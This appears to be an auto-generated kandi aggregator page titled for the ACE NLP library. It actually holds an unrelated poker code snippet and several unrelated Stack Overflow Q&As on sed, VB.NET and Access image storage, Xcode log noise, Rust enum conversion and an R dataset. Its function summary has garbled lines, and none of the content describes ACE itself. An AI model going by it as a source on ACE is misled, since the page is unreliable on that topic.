ACE | IJCNLP 2021 ] Automated Concatenation | Natural Language Processing library
kandi X-RAY | ACE Summary
Support
Quality
Security
License
Reuse
- Adds embeddings to the model
- Reconstruct tokens from subtokens
- Return a string representation of the token
- Return the processed text of a token
- Evaluate the model
- R Strips a piece of data
- Pad tensors with padding
- Compute Eisner coefficient
- Find the learning rate for the given dataset
- Assigns tags to the embedding
- Decode a Markov transition matrix
- Adds embeddings
- Calculate learning rate for training
- Decode a MST using the given energy matrix
- Evaluate objective function
- Performs the Viterbi decoding
- Add embeddings to sentences
- Add MUSE embeddings
- Compute the F1 score
- Evaluate language
- Assign tags to a given tag
- Nbest decode function
- Calculates the simple forward distance loss
- Calculate simple forward distance loss
- Adds sentences to the list
- Rorts the given batch of examples
- Run viterbi decoding
ACE Key Features
ACE Examples and Code Snippets
def _is_five_high_straight(self) -> bool: # If a card is a five high straight (low ace) change the location of # ace from the start of the list to the end. Check whether the first # element is ace or not. (Don't want to change again) # Five high straight (low ace): AH 2H 3S 4C 5D # Why use sorted here? One call to this function will mutate the list to # [5, 4, 3, 2, 14] and so for subsequent calls (which will be rare) we # need to compare the sorted version. # Refer test_multiple_calls_five_high_straight in test_poker_hand.py if sorted(self._card_values) == [2, 3, 4, 5, 14]: if self._card_values[0] == 14: # Remember, our list is sorted in reverse order ace_card = self._card_values.pop(0) self._card_values.append(ace_card) return True return False
Trending Discussions on ACE
Trending Discussions on ACE
QUESTION
I have a very large text file (tab-delimited, first line is header) like this:
A1 A2 A3 A4 A5 A6 A7
FA1 AB 234 231 0.02 456 I
FA2 ACE 241 2154 0.1 324 O
FA3 AD AC 150 2367 0.02 123 I
FA AFQ ASB 123 2473 0.4 630 I
As you can see, there are two strings in column 3 at the lines 3 and 4 columns 3 (A3). Could you please help me out with how I can delete these strings and shift cells left using awk, sed or any Linux codes to have the corrected file like:
A1 A2 A3 A4 A5 A6 A7
FA1 AB 234 231 0.02 456 I
FA2 ACE 241 2154 0.1 324 O
FA3 AD 150 2367 0.02 123 I
FA AFQ 123 2473 0.4 630 I
I tried:
awk 'if($3!~/[0-9]+/') $3=$4}1', file
It removes any strings in column 3 and replaces them with column 4, but without shifting cells left.
ANSWER
Answered 2022-Apr-11 at 16:16Using sed
$ sed '1!s/^\([^ ]* \+[^ ]* \+\)[A-Z][^ ]* \+/\1/' input_file
A1 A2 A3 A4 A5 A6 A7
FA1 AB 234 231 0.02 456 I
FA2 ACE 241 2154 0.1 324 O
FA3 AD 150 2367 0.02 123 I
FA AFQ 123 2473 0.4 630 I
1!
- Do not match line 1
^\([^ ]* \+[^ ]* \+\)
- Using backreferencing, we can store to memory the contents of a parenthesis, this will match everything up to the second space.
[A-Z][^ ]* \+
- Anything not within the parenthesis will be excluded from the matched return. If the third column contains capital alphabetic characters, then evrything up to the next space is excluded.
\1
- Return anything captured within the parenthesis
QUESTION
I'm relatively new to coding and entirely self taught, so please have patience with me.
I've been scouring the internet for an answer to this, but everything I've found is either waaaaaaayyy too technical and looks like ancient greek, or doesn't even apply to my situation.
I'm developing an app for work for my managers to record employee information. The page I'm currently working on is for injuries, however this will apply to multiple pages if I can figure it out. I know I'm probably over-complicating something and it's going to be a stupid answer but I've tried everything I can think of so far.
What I'm trying to do is capture handwritten notes as images and then save them to a database for us in the office to type up and translate if needed. (a lot of my managers don't type) but this would apply to collecting multiple signatures as well i.e. on write ups.
I've got the images saved, but when it comes time to write them to the database, the first image will write just fine, but the second one I start getting the "Data type mismatch in the criteria expression" error.
I've tried isolating the 2nd and third images to see if it's a syntax issue, but I still get the error. I've rebuilt the database table to make sure the destination field is an OLE object, same error. I've been searching for a few days now for the answer and I'm not finding it, so if someone can please help.
I know it's going to be something silly like not disposing of something in the right place, but that is beyond my current knowledge. Thank you in advance for any help.
`Private Sub AddState(pathD As String, PathC As String, PathS As String)
'Determination
' EXIT IF IMAGE NOT SELECTED
If String.IsNullOrEmpty(pathD) Then Exit Sub
'GET IMAGE DATA VIA MEMORY STREAM
Dim imgD As Image = Image.FromFile(pathD)
Dim msD As New MemoryStream()
imgD.Save(msD, imgD.RawFormat)
Dim bufferD As Byte() = msD.GetBuffer
'Comments
' EXIT IF IMAGE NOT SELECTED
If String.IsNullOrEmpty(PathC) Then Exit Sub
'GET IMAGE DATA VIA MEMORY STREAM
Dim imgC As Image = Image.FromFile(PathC)
Dim msC As New MemoryStream()
imgC.Save(msC, imgC.RawFormat)
Dim bufferC As Byte() = msC.GetBuffer
'Supervisor Signature
' EXIT IF IMAGE NOT SELECTED
If String.IsNullOrEmpty(PathS) Then Exit Sub
'GET IMAGE DATA VIA MEMORY STREAM
Dim imgS As Image = Image.FromFile(PathS)
Dim msS As New MemoryStream()
imgS.Save(msS, imgS.RawFormat)
Dim bufferS As Byte() = msS.GetBuffer
access.AddParam("@AccID", lblAccID.Text)
access.AddParam("@EmpName", lblEmpName.Text)
access.AddParam("@DOA", lblInjDate.Text)
access.AddParam("@DOR", Today)
access.AddParam("@Boss", cbxSupName.Text)
access.AddParam("@Phone", txtPhone.Text)
access.AddParam("@RepDate", dpRepDate.Value.Date)
access.AddParam("@RepTime", txtRepTime.Text & " " & Time)
access.AddParam("@DrUs", DrUs)
access.AddParam("@DrThem", DrThem)
access.AddParam("@Facility", cbxFacility.SelectedItem)
access.AddParam("@Missed", Missed)
access.AddParam("@DetType", txtDetermine.Text)
access.AddParam("@DetFile", lblDetFileLoc.Text)
access.AddParam("@CommentType", txtComments.Text)
access.AddParam("@CommFile", lblComFileLoc.Text)
access.AddParam("@SigFile", lblSigFileLoc.Text)
access.AddParam("@DetWrite", bufferD)
access.AddParam("@CommentWrite", bufferC)
access.AddParam("@SupSig", bufferS)
access.ExecQuery("INSERT INTO AccSup(AccID, InjEmp, InjDate, RepDate, Supervisor, SupPhone, DateReported, " &
"TimeReported, DrUs, DrThem, Facility, MissedWork, SupDetermination, DetFileLoc, " &
"SupComments,CommFileLoc, SigFileLoc, Determination, Comment, Sig)" &
"VALUES (@AccID, @EmpName, @DOA, @DOR, @Boss, @Phone, @RepDate, " &
"@RepTime, @DrUs, @DrThem, @Facility, @Missed, @DetType, @DetFile, " &
"@CommentType, @CommFile, @SigFile, @DetWrite, @CommentWrite, @SupSig) ")
' REPORT ERRORS
If Not String.IsNullOrEmpty(access.exception) Then MsgBox(access.exception)
MsgBox("Report Added")
End Sub
Private Sub cmdSubmit_Click(sender As Object, e As EventArgs) Handles cmdSubmit.Click
AddState(lblDetFileLoc.Text, lblComFileLoc.Text, lblSigFileLoc.Text)
End Sub`
dbcontrol
Public Class dbControlBU
'CREATE YOUR DB CONNECTION
Private DBCon As New OleDbConnection("Provider=Microsoft.ACE.OLEDB.12.0;" &
"Data Source=C:\Users\Public\Documents\Open Enrollment\OpenEnrollment.accdb;Persist Security Info=True;Jet OLEDB:Database Password=****")
' PREPARE DB COMMAND
Private DBCmd As OleDbCommand
'DB DATA
Public DBDA As OleDbDataAdapter
Public DBDT As DataTable
' QUERY PARAMETERS
Public Params As New List(Of OleDbParameter)
' QUERY STATISTICS
Public RecordCount As Integer
Public exception As String
Public Sub ExecQuery(Query As String)
' RESET QUERY STATS
RecordCount = 0
exception = ""
Try
' OPEN A CONNECTION
DBCon.Open()
' CREATE DB COMMAND
DBCmd = New OleDbCommand(Query, DBCon)
' LOAD PARAMS INTO DB COMMAND
Params.ForEach(Sub(p) DBCmd.Parameters.Add(p))
' CLEAR PARAMS LIST
Params.Clear()
' EXECUTE COMMAND AND FILL DATATABLE
DBDT = New DataTable
DBDA = New OleDbDataAdapter(DBCmd)
RecordCount = DBDA.Fill(DBDT)
Catch ex As Exception
exception = ex.Message
End Try
'CLOSE YOUR CONNECTION
If DBCon.State = ConnectionState.Open Then DBCon.Close()
End Sub
'INCLUDE QUERY & COMMAND PARAMETERS
Public Sub AddParam(Name As String, Value As Object)
Dim NewParam As New OleDbParameter(Name, Value)
Params.Add(NewParam)
End Sub
'Schema Restrictions
' https://msdn.microsoft.com/en-us/library/cc716722%28v=vs.100%29.aspx
Public Function GetTables() As List(Of String)
Dim lstTables As New List(Of String)
Dim restrictions As String() = New String() {Nothing, Nothing, Nothing, "TABLE"}
Try
DBCon.Open()
DBDT = DBCon.GetSchema("Tables", restrictions)
For Each r As DataRow In DBDT.Rows
lstTables.Add(r("TABLE_NAME"))
Next
Catch ex As Exception
MsgBox(ex.Message)
Finally
If DBCon.State = ConnectionState.Open Then DBCon.Close()
End Try
Return lstTables
End Function
Public Function GetColumnsByTable(TableName As String) As List(Of String)
Dim lstColumns As New List(Of String)
Dim restrictions As String() = New String() {Nothing, Nothing, TableName, Nothing}
Try
DBCon.Open()
DBDT = DBCon.GetSchema("Columns", restrictions)
For Each r As DataRow In DBDT.Rows
lstColumns.Add(r("COLUMN_NAME"))
Next
Catch ex As Exception
MsgBox(ex.Message)
Finally
If DBCon.State = ConnectionState.Open Then DBCon.Close()
End Try
Return lstColumns
End Function
It happens after I go through my app and his "Submit" and it runs the Insert Into statement into the Access Database. I have rebuilt the columns in Access to make sure they're the right datatype and I hadn't accidentally changed something somewhere. That didn't help. The 1st image will save, but 2nd and 3rd images get this error. I've tried not including the 1st image. completely deleted it from the Insert into statement, I figured if I did that, then Image 2 would save, but not 3. no- both of them still didn't save. Got the same error. I tried removing both images 1 and 2 to see if just image 2 was problematic. Same error. At that point the computer almost went out the window.
Here is the error I got after removing the Catch Statement.
System.Data.OleDb.OleDbException HResult=0x80040E07 Message=Data type mismatch in criteria expression. Source=System.Data
StackTrace: at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr) at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteCommand(CommandBehavior behavior, Object& executeResult) at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method) at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataTable[] dataTables, Int32 startRecord, Int32 maxRecords, IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill(DataTable dataTable) at EmployeeManager_New.dbControl.ExecQuery(String Query) in C:\Users\CatWisian\Lone Star Calf Ranch\Lone Star Calf Ranch Site - Documents (1)\General\Cat Apps\Employee Manager-New\EmployeeManager_New\dbControl.vb:line 42 at EmployeeManager_New.SupStat.AddState(String pathD, String PathC, String PathS) in C:\Users\CatWisian\Lone Star Calf Ranch\Lone Star Calf Ranch Site - Documents (1)\General\Cat Apps\Employee Manager-New\EmployeeManager_New\English\Injury\SupStat.vb:line 639
at EmployeeManager_New.SupStat.cmdSubmit_Click(Object sender, EventArgs e) in C:\Users\CatWisian\Lone Star Calf Ranch\Lone Star Calf Ranch Site - Documents (1)\General\Cat Apps\Employee Manager-New\EmployeeManager_New\English\Injury\SupStat.vb:line 653
at System.Windows.Forms.Control.OnClick(EventArgs e) at System.Windows.Forms.Button.OnClick(EventArgs e) at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent) at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks) at System.Windows.Forms.Control.WndProc(Message& m) at System.Windows.Forms.ButtonBase.WndProc(Message& m) at System.Windows.Forms.Button.WndProc(Message& m) at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m) at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m) at System.Windows.Forms.NativeWindow.DebuggableCallback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam) at System.Windows.Forms.UnsafeNativeMethods.DispatchMessageW(MSG& msg)
at System.Windows.Forms.Application.ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(IntPtr dwComponentID, Int32 reason, Int32 pvLoopData) at System.Windows.Forms.Application.ThreadContext.RunMessageLoopInner(Int32 reason, ApplicationContext context) at System.Windows.Forms.Application.ThreadContext.RunMessageLoop(Int32 reason, ApplicationContext context) at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.OnRun() at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.DoApplicationModel() at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.Run(String[] commandLine) at EmployeeManager_New.My.MyApplication.Main(String[] Args) in :line 83This exception was originally thrown at this call stack: [External Code] EmployeeManager_New.dbControl.ExecQuery(String) in dbControl.vb EmployeeManager_New.SupStat.AddState(String, String, String) in SupStat.vb EmployeeManager_New.SupStat.cmdSubmit_Click(Object, System.EventArgs) in SupStat.vb [External Code]
Newest error code
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommand(CommandBehavior behavior, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataTable[] dataTables, Int32 startRecord, Int32 maxRecords, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataTable dataTable)
at EmployeeManager_New.dbControl.ExecQuery(String Query) in C:\Users\CatWisian\Lone Star Calf Ranch\Lone Star Calf Ranch Site - Documents (1)\General\Cat Apps\Employee Manager-New\EmployeeManager_New\dbControl.vb:line 40
at EmployeeManager_New.SupStat.AddState(String pathD, String PathC, String PathS) in C:\Users\CatWisian\Lone Star Calf Ranch\Lone Star Calf Ranch Site - Documents (1)\General\Cat Apps\Employee Manager-New\EmployeeManager_New\English\Injury\SupStat.vb:line 631
at EmployeeManager_New.SupStat.cmdSubmit_Click(Object sender, EventArgs e) in C:\Users\CatWisian\Lone Star Calf Ranch\Lone Star Calf Ranch Site - Documents (1)\General\Cat Apps\Employee Manager-New\EmployeeManager_New\English\Injury\SupStat.vb:line 648
at System.Windows.Forms.Control.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ButtonBase.WndProc(Message& m)
at System.Windows.Forms.Button.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.DebuggableCallback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)
at System.Windows.Forms.UnsafeNativeMethods.DispatchMessageW(MSG& msg)
at System.Windows.Forms.Application.ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(IntPtr dwComponentID, Int32 reason, Int32 pvLoopData)
at System.Windows.Forms.Application.ThreadContext.RunMessageLoopInner(Int32 reason, ApplicationContext context)
at System.Windows.Forms.Application.ThreadContext.RunMessageLoop(Int32 reason, ApplicationContext context)
at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.OnRun()
at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.DoApplicationModel()
at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.Run(String[] commandLine)
at EmployeeManager_New.My.MyApplication.Main(String[] Args) in :line 83
And still getting the same "Data Criteria Mismatch" error. I'm gonna start banging my head on my desk.
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextErrorHandling(OleDbHResult hr)
at System.Data.OleDb.OleDbCommand.ExecuteCommandTextForSingleResult(tagDBPARAMS dbParams, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommandText(Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteCommand(CommandBehavior behavior, Object& executeResult)
at System.Data.OleDb.OleDbCommand.ExecuteReaderInternal(CommandBehavior behavior, String method)
at System.Data.OleDb.OleDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.OleDb.OleDbCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillInternal(DataSet dataset, DataTable[] datatables, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataTable[] dataTables, Int32 startRecord, Int32 maxRecords, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataTable dataTable)
at EmployeeManager_New.dbControl.ExecQuery(String Query) in C:\Users\CatWisian\Lone Star Calf Ranch\Lone Star Calf Ranch Site - Documents (1)\General\Cat Apps\Employee Manager-New\EmployeeManager_New\dbControl.vb:line 40
at EmployeeManager_New.SupStat.AddState(String pathD, String PathC, String PathS) in C:\Users\CatWisian\Lone Star Calf Ranch\Lone Star Calf Ranch Site - Documents (1)\General\Cat Apps\Employee Manager-New\EmployeeManager_New\English\Injury\SupStat.vb:line 631
at EmployeeManager_New.SupStat.cmdSubmit_Click(Object sender, EventArgs e) in C:\Users\CatWisian\Lone Star Calf Ranch\Lone Star Calf Ranch Site - Documents (1)\General\Cat Apps\Employee Manager-New\EmployeeManager_New\English\Injury\SupStat.vb:line 648
at System.Windows.Forms.Control.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnClick(EventArgs e)
at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
at System.Windows.Forms.Control.WndProc(Message& m)
at System.Windows.Forms.ButtonBase.WndProc(Message& m)
at System.Windows.Forms.Button.WndProc(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
at System.Windows.Forms.NativeWindow.DebuggableCallback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)
at System.Windows.Forms.UnsafeNativeMethods.DispatchMessageW(MSG& msg)
at System.Windows.Forms.Application.ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(IntPtr dwComponentID, Int32 reason, Int32 pvLoopData)
at System.Windows.Forms.Application.ThreadContext.RunMessageLoopInner(Int32 reason, ApplicationContext context)
at System.Windows.Forms.Application.ThreadContext.RunMessageLoop(Int32 reason, ApplicationContext context)
at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.OnRun()
at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.DoApplicationModel()
at Microsoft.VisualBasic.ApplicationServices.WindowsFormsApplicationBase.Run(String[] commandLine)
at EmployeeManager_New.My.MyApplication.Main(String[] Args) in :line 83
Here's what I have in Access. Maybe someone can see if the problem's there. I don't think it should be though. I've rebuilt this table already to make sure it had the data types I wanted in case I had fat fingered something.
I did test the entire thing before I started with the images as I knew I was venturing into new territory with them, and everything worked ok at that time, so I can safely say it's the images causing the issue.
It may be an access thing. I tend to dream big on these things and then have to get brought back down to reality when I find out Access isn't capable of doing what I wanted it to do. Sql is not an option in this case as the guys are in a barn with a spotty internet connection as it is, so I have to keep things as local as possible.
ANSWER
Answered 2022-Mar-30 at 18:40Some entities use "unmanaged resources" which need to be explicitly taken care of by calling Dispose() on them. There is a way to have that happen automatically for you: the Using statement.
As it happens, both database connections (e.g. OleDbConnection) and the Image type are such entities.
Here is an example of how you could modify your code:
Private Sub AddState(pathD As String, PathC As String, PathS As String)
' EXIT EARLY IF IMAGE NOT SELECTED
If String.IsNullOrEmpty(pathD) OrElse
String.IsNullOrEmpty(PathC) OrElse
String.IsNullOrEmpty(PathS) Then
Exit Sub
End If
Dim bufferD As Byte()
Dim bufferC As Byte()
Dim bufferS As Byte()
'GET IMAGE DATA VIA MEMORY STREAM
Using imgD As Image = Image.FromFile(pathD),
imgC As Image = Image.FromFile(PathC),
imgS As Image = Image.FromFile(PathS)
'Determination
Dim msD As New MemoryStream()
imgD.Save(msD, imgD.RawFormat)
bufferD = msD.GetBuffer()
'Comments
Dim msC As New MemoryStream()
imgC.Save(msC, imgC.RawFormat)
bufferC = msC.GetBuffer()
'Supervisor Signature
Dim msS As New MemoryStream()
imgS.Save(msS, imgS.RawFormat)
bufferS = msS.GetBuffer()
End Using
Dim access As New DbControlBu()
'TODO: Fill in the OleDbType for every parameter
access.AddParam("@AccID", OleDbType.VarChar, lblAccID.Text)
access.AddParam("@EmpName", OleDbType.VarChar, lblEmpName.Text)
access.AddParam("@DOA", lblInjDate.Text)
access.AddParam("@DOR", OleDbType.Date, Today)
access.AddParam("@Boss", cbxSupName.Text)
access.AddParam("@Phone", txtPhone.Text)
access.AddParam("@RepDate", dpRepDate.Value.Date)
access.AddParam("@RepTime", txtRepTime.Text & " " & Time)
access.AddParam("@DrUs", DrUs)
access.AddParam("@DrThem", DrThem)
access.AddParam("@Facility", cbxFacility.SelectedItem)
access.AddParam("@Missed", Missed)
access.AddParam("@DetType", txtDetermine.Text)
access.AddParam("@DetFile", lblDetFileLoc.Text)
access.AddParam("@CommentType", txtComments.Text)
access.AddParam("@CommFile", lblComFileLoc.Text)
access.AddParam("@SigFile", lblSigFileLoc.Text)
access.AddParam("@DetWrite", OleDbType.LongVarBinary, bufferD)
access.AddParam("@CommentWrite", OleDbType.LongVarBinary, bufferC)
access.AddParam("@SupSig", OleDbType.LongVarBinary, bufferS)
access.ExecQuery("INSERT INTO AccSup(AccID, InjEmp, InjDate, RepDate, Supervisor, SupPhone, DateReported, " &
"TimeReported, DrUs, DrThem, Facility, MissedWork, SupDetermination, DetFileLoc, " &
"SupComments,CommFileLoc, SigFileLoc, Determination, Comment, Sig)" &
"VALUES (@AccID, @EmpName, @DOA, @DOR, @Boss, @Phone, @RepDate, " &
"@RepTime, @DrUs, @DrThem, @Facility, @Missed, @DetType, @DetFile, " &
"@CommentType, @CommFile, @SigFile, @DetWrite, @CommentWrite, @SupSig) ")
' REPORT STATUS
If String.IsNullOrEmpty(access.exception) Then
MsgBox("Report Added")
Else
MsgBox(access.exception)
End If
End Sub
dbcontrol
Imports System.Data.OleDb
Public Class DbControlBu
' DB CONNECTION STRING
Private Const connStr As String = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=""C:\Users\Public\Documents\Open Enrollment\OpenEnrollment.accdb"";Persist Security Info=True;Jet OLEDB:Database Password=****"
'DB DATA
Public DBDA As OleDbDataAdapter
Public DBDT As DataTable
' QUERY PARAMETERS
Public Params As New List(Of OleDbParameter)
' QUERY STATISTICS
Public recordCount As Integer
Public exception As String
Public Sub ExecQuery(query As String)
' RESET QUERY STATS
recordCount = 0
exception = ""
Try
Using conn As New OleDbConnection(connStr),
cmd As New OleDbCommand(query, conn)
' OPEN A CONNECTION
conn.Open()
' LOAD PARAMS INTO DB COMMAND
Params.ForEach(Sub(p) cmd.Parameters.Add(p))
' CLEAR PARAMS LIST
Params.Clear()
' EXECUTE COMMAND AND FILL DATATABLE
DBDT = New DataTable()
DBDA = New OleDbDataAdapter(cmd)
recordCount = DBDA.Fill(DBDT)
End Using
Catch ex As Exception
exception = ex.Message
End Try
End Sub
'INCLUDE QUERY & COMMAND PARAMETERS
Public Sub AddParam(name As String, dbType As OleDbType, value As Object)
Dim newParam As New OleDbParameter() With {.ParameterName = name, .OleDbType = dbType, .Value = value}
Params.Add(NewParam)
End Sub
Public Sub AddParam(Name As String, Value As Object)
Dim NewParam As New OleDbParameter(Name, Value)
Params.Add(NewParam)
End Sub
'Schema Restrictions
' https://msdn.microsoft.com/en-us/library/cc716722%28v=vs.100%29.aspx
Public Function GetTables() As List(Of String)
Dim lstTables As New List(Of String)
Dim restrictions As String() = New String() {Nothing, Nothing, Nothing, "TABLE"}
Try
Using conn As New OleDbConnection(connStr)
conn.Open()
DBDT = conn.GetSchema("Tables", restrictions)
For Each r As DataRow In DBDT.Rows
lstTables.Add(r("TABLE_NAME").ToString()) ' Add .ToString()
Next
End Using
Catch ex As Exception
MsgBox(ex.Message)
End Try
Return lstTables
End Function
Public Function GetColumnsByTable(tableName As String) As List(Of String)
Dim lstColumns As New List(Of String)
Dim restrictions As String() = New String() {Nothing, Nothing, tableName, Nothing}
Try
Using conn As New OleDbConnection(connStr)
conn.Open()
DBDT = conn.GetSchema("Columns", restrictions)
For Each r As DataRow In DBDT.Rows
lstColumns.Add(r("COLUMN_NAME").ToString()) ' Add .ToString()
Next
End Using
Catch ex As Exception
MsgBox(ex.Message)
End Try
Return lstColumns
End Function
End Class
I can't test it, but hopefully it gives you enough information to fix your code.
(Although a MemoryStream has a Dispose method, it is the one case where you don't need to call that.)
QUESTION
Since Xcode 13.2.1 I get flooded with CVDisplayLink debug / warning messages.
Like
CVDisplayLink::start
CVDisplayLink::stop
20 times a second or so.
I think they may come from an WebView which runs an embedded version of the Ace editor.
Does anybody know how to prevent the CVDisplayLink messages specifically ?
ANSWER
Answered 2022-Feb-05 at 13:10I get these messages too and also think it has to do with WKWebview
.
My only workaround for now is trying to silence them with: OS_ACTIVITY_MODE
= disable
on the Scheme.
On Xcode go to Product
> Scheme
> Edit Scheme
On Run
> Arguments
add the Environment Variable:
OS_ACTIVITY_MODE
and set the Value to disable
These debug messages should not be there next time you run the app.
QUESTION
I have the following code where I need to do direct comparisons between the ranks. For example I need to be able to do self as u8 + 1 == other as u8
.
#[derive(Copy, Clone, Debug, Eq, Ord, PartialEq, PartialOrd)]
#[repr(u8)]
pub enum Rank {
Ace = 1,
Two,
Three,
Four,
Five,
Six,
Seven,
Eight,
Nine,
Ten,
Jack,
Queen,
King,
}
impl TryFrom for Rank {
type Error = ();
// TODO: replace with macro or find better option
fn try_from(v: u8) -> Result {
match v {
x if x == Rank::Ace as u8 => Ok(Rank::Ace),
x if x == Rank::Two as u8 => Ok(Rank::Two),
x if x == Rank::Three as u8 => Ok(Rank::Three),
x if x == Rank::Four as u8 => Ok(Rank::Four),
x if x == Rank::Five as u8 => Ok(Rank::Five),
x if x == Rank::Six as u8 => Ok(Rank::Six),
x if x == Rank::Seven as u8 => Ok(Rank::Seven),
x if x == Rank::Eight as u8 => Ok(Rank::Eight),
x if x == Rank::Nine as u8 => Ok(Rank::Nine),
x if x == Rank::Ten as u8 => Ok(Rank::Ten),
x if x == Rank::Jack as u8 => Ok(Rank::Jack),
x if x == Rank::Queen as u8 => Ok(Rank::Queen),
x if x == Rank::King as u8 => Ok(Rank::King),
_ => Err(()),
}
}
}
Is there a more efficient way to write this without using a macro and basically writing it all out anyway?.
ANSWER
Answered 2022-Feb-18 at 02:14tl;dr: Yes, there is a way to do this without macros, but it's unsafe. Macros are fine; use num_enum instead.
If you are willing to delve into the realm of unsafe code, you can use std::mem::transmute()
to convert the u8
to Rank
:
fn try_from(v: u8) -> Result {
match v {
x if x >= Rank::Ace as u8 && x <= Rank::King as u8 =>
Ok(unsafe { std::mem::transmute(x) }),
_ => Err(()),
}
}
Beware, if the enum values change later and x >= Rank::Ace as u8 && x <= Rank::King as u8
no longer guarantees that the value is a valid enum value, undefined behavior will result if a bad value is converted.
If you take this approach, I would put very obvious warning comments on the definition of Rank
so that others (and future-you) know that changing the values without suitably updating the try_from
implementation could cause UB.
From the std::mem::transmute()
documentation:
transmute
is incredibly unsafe. There are a vast number of ways to cause undefined behavior with this function.transmute
should be the absolute last resort.
This is a trade-off of saving a mere 11-12 lines of code at the cost of potentially sabotaging yourself later. I'm giving this answer for the sake of completeness, to say "yes, there is a way to do what you ask, but you really shouldn't do it this way."
QUESTION
I have a dataset like this:
structure(list(Participant_ID = c(1, 1, 1, 1, 1, 1, 1, 1, 1,
2, 2, 2, 2), group = c(2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1),
stra_arm = c(3, 3, 3, 3, 3, 3, 3, 3, 3, 6, 6, 6, 6), time = c(0,
0, 0, 0, 0, 6, 68, 102, 111, 0, 0, 0, 0), name_class = c("beta_bloker",
"ACE", "Thiazide_du", "alpha_bloker", "CCB", "alpha_bloker",
"CCB", "CCB", "CCB", "beta_bloker", "ACE", "loope_du", "pot_du"
), stop = c(NA, NA, NA, NA, NA, "Yes", "Yes", NA, NA, NA,
NA, NA, NA)), class = c("spec_tbl_df", "tbl_df", "tbl", "data.frame"
), row.names = c(NA, -13L), spec = structure(list(cols = list(
Participant_ID = structure(list(), class = c("collector_double",
"collector")), group = structure(list(), class = c("collector_double",
"collector")), stra_arm = structure(list(), class = c("collector_double",
"collector")), time = structure(list(), class = c("collector_double",
"collector")), name_class = structure(list(), class = c("collector_character",
"collector")), stop = structure(list(), class = c("collector_character",
"collector"))), default = structure(list(), class = c("collector_guess",
"collector")), skip = 1L), class = "col_spec"))
In each time and within each participant, I want to count each value of column "name_class" and then sum them, with the condition that: minus 1 if value in column "stop" for the same value in "name_class" is yes, and plus 1 if the same value in "name_class" is NA. This is actually the number of drug class changes for each patient during follow-up time.
